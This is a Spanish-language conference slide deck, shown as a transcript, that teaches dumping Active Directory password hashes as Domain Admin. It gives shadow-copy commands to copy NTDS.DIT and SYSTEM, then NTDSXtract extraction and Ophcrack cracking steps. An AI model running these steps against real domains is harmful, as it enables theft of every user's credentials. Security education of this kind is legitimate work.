Obtener contraseñas del directorio activo por hkm
-
Upload
websec-mexico-sc -
Category
Technology
-
view
3.235 -
download
5
description
Transcript of Obtener contraseñas del directorio activo por hkm
Como obtener contraseñas del directorio activo con permisos
de Domain Admin
Ing. Pedro Joaquín@_hkm
Reunión de la Comunidad Underground de México 2014
28 de junio del 2014
Advertencia
• El propósito de esta presentación es demostrar de manera práctica una técnica conocida de obtención de las contraseñas del Directorio Activo a partir de una cuenta con permisos de Domain Admin.
• El autor, ni la organización que representa se responsabilizan por el mal uso que se le pueda dar a las técnicas mostradas a continuación.
• El acceso no autorizado a sistemas o equipos de computo, conocer, copiar, modificar o destruir información, y la intervención de cuentas de correo son delitos sancionados en el Código Penal Federal.
• Recomendamos informar a los usuarios que su contraseña puede ser observada por los administradores de la red.
Tres simples pasos
1. Copiar los archivos NTDS.DIT y SYSTEM del controlador de dominio.
2. Extraer los hashes de los archivos.
3. Descifrar (“Crackear”) los hashes.
Tres simples pasos
1. Copiar los archivos NTDS.DIT y SYSTEM del controlador de dominio.
2. Extraer los hashes de los archivos.
3. Descifrar (“Crackear”) los hashes.
Copiar los archivos NTDS.DIT y SYSTEMCrear un Volume Shadow Copy,
Copiar los archivos del Volume Shadow,
Borrar la Volume Shadow Copy
NTDS.DIT y SYSTEM
NTDS.DIT
Archivo donde se almacena toda la información del directorio activo. Se encuentra en %SystemRoot%\ntds\NTDS.DIT.
SYSTEM
Contiene el registro SYSTEM el cual contiene la bootkey (SYSKEY) necesaria para extraer los hashes del NTDS.DIT.
** Los archivos se encuentran protegidos para que no se puedan copiar fácilmente. Es necesario extraerlos de una Volume Shadow Copy
Volume Shadow Copy
• El Volume Shadow Copy eres un sistema de respaldo de unidades de Windows que permite crear copias de archivos ocultos como el NTDS.DIT, SYSTEM, SAM, etc.
• Se puede utilizar el comando vssadmin list shadows para saber si existen copias creadas:
C:\>vssadmin list shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001 Microsoft Corp.
No items found that satisfy the query.
Crear una Volume Shadow Copy
C:\>vssadmin create shadow /for=c:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001 Microsoft Corp.
Successfully created shadow copy for ‘c:\’
Shadow Copy ID: {e8eb7931-5056-4f7d-a5d7-05c30da3e1b3}
Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
Se utiliza el comando vssadmin create shadow /for=c: para crear una copia de la unidad c:
Copiar los archivos del Volume Shadow Copy
• Comandos para copiar los archivos requeridos al directorio actual:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\ntds\ntds.dit .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SYSTEM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SAM .
[X] Es el identificador de la copia, ver diapositiva anterior.
En algunos sistemas como Windows 2003 y 2008 la ruta \windows\ puede variar a \WINNT\
Para borrar la Volume Shadow Copy
C:\> vssadmin delete shadows /for=C: /shadow= e8eb7931-5056-4f7d-a5d7-05c30da3e1b3
Extracción de los hashesExtraer las tablas con libesedb
Extraer los hashes con NTDSXtract
Extracción de los hashes
• Para extraer los hashes es necesario tener la tabla database y link del archivo NTDS.DIT y el archivo SYSTEM.
• Utilizaremos las herramientas de libesedb para extraer las tablas del NTDS.DIR y posteriormente ntdsxtract para utilizar las tablas y el SYSTEM para obtener los hashes.
• Estas herramientas corren en Linux.
Descarga e instalación de libesedb
# wgethttp://libesedb.googlecode.com/files/libesedb-alpha-20120102.tar.gz
# tar -xzvf libesedb-alpha-20120102.tar.gz
# cd libesedb-20120102
# ./configure
# make
# mv esedbtools/ /usr/local
# cd esedbtools/
esedbexport (parte de libesedb)
• Syntaxis:
#./esedbexport –t <directorio de salida> <archivo ntds.dit>
• Este comando tardará mucho. Aprox 25 minutos. Si en 25 minutos parece que no esta avanzando hay que presionar Enter para actualizarlo.
• La salida de comando debe ser similar a la siguiente diapositiva…
# ./esedbexport -t ~/ntds ~/ntds.ditesedbexport 20120102Opening file.
Exporting table 1 (MSysObjects) out of 11.Exporting table 2 (MSysObjectsShadow) out of 11.Exporting table 3 (MSysUnicodeFixupVer1) out of 11.Exporting table 4 (datatable) out of 11.Exporting table 5 (link_table) out of 11.Exporting table 6 (hiddentable) out of 11.Exporting table 7 (sdproptable) out of 11.Exporting table 8 (sd_table) out of 11.Exporting table 9 (quota_table) out of 11.Exporting table 10 (quota_rebuild_progress_table) out of 11.Exporting table 11 (MSysDefrag1) out of 11.Export completed.
Nombres de archivos exportados
# ls ~/ntdis.export/
MSysObjects.0
MSysObjectsShadow.1
MSysUnicodeFixupVer1.2
datatable.3
link_table.4
hiddentable.5
sdproptable.6
sd_table.7
quota_table.8
quota_rebuild_progress_table.9
MSysDefrag1.10
• No utilizaremos todos los archivos, únicamente el datatable3, link_table.4 y el SYSTEM.
Descarga e instalación de NTDSXtract
# wget http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_2_beta.zip
# unzip ntdsxtract_v1_2_beta.zip
# cd ntdsxtract_v1_2_beta
Extracción de hashes
• # python dsusers.py ~/ntds.export/datatable.3~/ntds.export/link_table.4 ~/TEMP --passwordhashes --lmoutfile LM.out --ntoutfile NT.out --pwdformat ophc --syshive ~/SYSTEM
• Se ejecuta un comando similar donde le estamos diciendo la ubicación del datatable.3, link_table.4 y SYSTEM y esperando el resultado de los hashes en formato ophc (Ophcrack). Nos generará dos archivos uno de hashes, uno para LM LM.out y otro de hashes NT NT.out.
Descifrar (“Crackear”) los hashesDescargando Ophcrack,
Obteniendo las Rainbow Tables,
Crackeando los hashes
Rainbow tables
• El cifrado NTLM se puede romper utilizando Rainbow Tables que son tablas precomputadas de hashes.
• Las tablas recomendadas ya que son relativamente pequeñas y se pueden obtener fácilmente son las XP_Special y las Vista_Special.
• Las tablas son gratuitas. El sitio oficial de las tablas es: http://sourceforge.net/projects/ophcrack/files/tables/ pero por simplicidad de la descarga y velocidad recomiendo utilizar los torrents de
• http://thepiratebay.se/torrent/4467431/Ophcrack_XP_Special_Tables
• http://thepiratebay.se/torrent/4403978/Ophcrack_Vista_Special_NTHASH_Table
Descargando e instalando Ophcrack
• Ophcrack puede ser utilizado como un LiveCD o desde Windows.
• Se descarga de http://ophcrack.sourceforge.net/
• En este tutorial utilizaremos la versión de Windows, la configuración es la misma en la versión LiveCD de Linux.
• La diferencia principal es que la versión de LiveCD de Linux puede obtener automáticamente los hashes de la computadora donde se ejecuta.
Utilizando Ophcrack
• En el menú principal de Ophcrack se seleccciona Load y PWDUMP file
• Abrimos el archivo de las contraseñas NT.out y/o LM.out
Utilizando Ophcrack – Rainbow tables
• En el menú principal de Ophcrack se seleccciona Tables y posteriormente Install.
• Seleccionamos los directorios donde se encuentran las tablas Vista_special y XP_special.
• Se recomienda habilitar una tabla a la vez, primero con XP_special.
Crackeando las contraseñas
• En el menú principal de Ophcrackseleccciona Crack.
• El proceso puede tomar varias horas, pero el resultado vale la pena…
Como obtener contraseñas del directorio activo con permisos
de Domain Admin
Ing. Pedro Joaquín@_hkm
Reunión de la Comunidad Underground de México 2014
28 de junio del 2014
Referencias
• Código Penal Federal, en materia de delitos en contra de medios o sistemas informáticos:
http://gaceta.diputados.gob.mx/Gaceta/61/2012/mar/20120328-III.html#DictamenaD2
• Getting Hashes from NTDS.dit file:
http://blog.walkerville.org/?p=486
• libesedb:
https://code.google.com/p/libesedb/
• NTDSXtract:
http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_2_beta.zip
• Ophcrack:
http://ophcrack.sourceforge.net/